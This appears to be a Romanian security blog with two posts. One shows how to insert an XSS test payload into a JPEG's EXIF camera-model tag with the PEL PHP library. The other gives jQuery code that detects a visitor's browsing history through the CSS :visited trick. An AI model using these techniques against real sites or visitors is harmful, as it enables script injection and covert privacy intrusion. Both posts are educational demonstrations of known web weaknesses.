XSS folosind Exif metadata

In continuarea postului despre XSS folosind headerele de HTTP, azi va prezint XSS folosind exif metadata.

Sunt multe situri de fotografie care afiseaza cateva din tagurile de exif ale imaginilor uploadate de catre utilizatori (modelul camerei, distanta focala etc). Daca informatiile preluate din headerele de jpeg nu sunt sanitizate corespunzator, aceste situri sunt vulnerabile la atacuri de tip XSS.

Am facut un mic test. Pentru asta aveam nevoie sa gasesc o modalitate de a modifica exif metadata. Dupa un mic research, am gasit doua variante. Una dintre ele e sa folosesc ImageMagick cealalta e o clasa PHP, numita PEL (PHP Exif Library). Am optat pentru libraria PHP.

Pentru inceput, sa modificam tagul de camera model din exif. Downloadam libraria in folderul pel. Luam o imagine de test (test.jpg) caruia ii modificam tagul model cu textul “EOS 20D <script>alert(“XSS”)</script>”. Imaginea modificata o salvam cu numele xss_test_image.jpg.

<?php

require_once(‘pel/PelJpeg.php’);

$jpeg = new PelJpeg(‘test.jpg’);

$ifd0 = $jpeg->getExif()->getTiff()->getIfd();

$entry = $ifd0->getEntry(PelTag::MODEL);
$entry->setValue(‘EOS 20D <script>alert(“XSS”)</script>’);

file_put_contents(‘xss_test_image.jpg’, $jpeg->getBytes());

?>

Acum facem un alt scriptulet cu care citim exif metadata si o afisam:

<?php

$exif = exif_read_data(‘xss_test_image.jpg’, 0, true);

foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
echo $key,’.’,$name,’: ‘, htmlspecialchars($val),”<br />\n”;
}
}

?>

Observam ca tagul IFD0.Model a fost modificat cu succes. Happy hacking!

Puteti downloada imaginea modificata aici.

Evil Javascript – Privacy

Cum poti afla pe ce situri a mai intrat un vizitator de-al sitului tau?
In felul urmator:
– Injectezi, folosind Javascript, in DOM linkuri ascunse catre siturile respective.
– Linkurile vizitate au atributul css “a:visited” iar cele nevizitate “a:link”.
Am facut si un mic exemplu folosind jQuery:

<script type=”text/javascript”>
urls = [
‘http://www.220.ro’,
‘http://www.hotnews.ro’,
‘http://www.cnn.com’,
‘http://www.google.com’,
‘http://www.bancosul.ro’,
‘http://www.jquery.com’,
‘http://www.inmh.ro’,
‘http://www.w3schools.com’
];

addLinks =  function(){
$(‘body’).append(this+'<a href=”‘+this+'” style=”display:none”>’+this+'</a><br />’);
}

$(‘body’).append(‘<br /><b>Din urmatoarele linkuri:</b><br/><br />’);

//Adaug linkurile in DOM
$.each( urls, addLinks );

$(‘body’).append(‘<br /><br /><b>Ai intrat pe:</b><br/><br />’);

//Afisez siturile vizitate
$(‘a:visited’).each(addLinks);

$(‘body’).append(‘<br /><br /><b>Nu ai intrat pe:</b><br/><br />’);

//Afisez siturile nevizitate
$(‘a:link’).each(addLinks);

</script>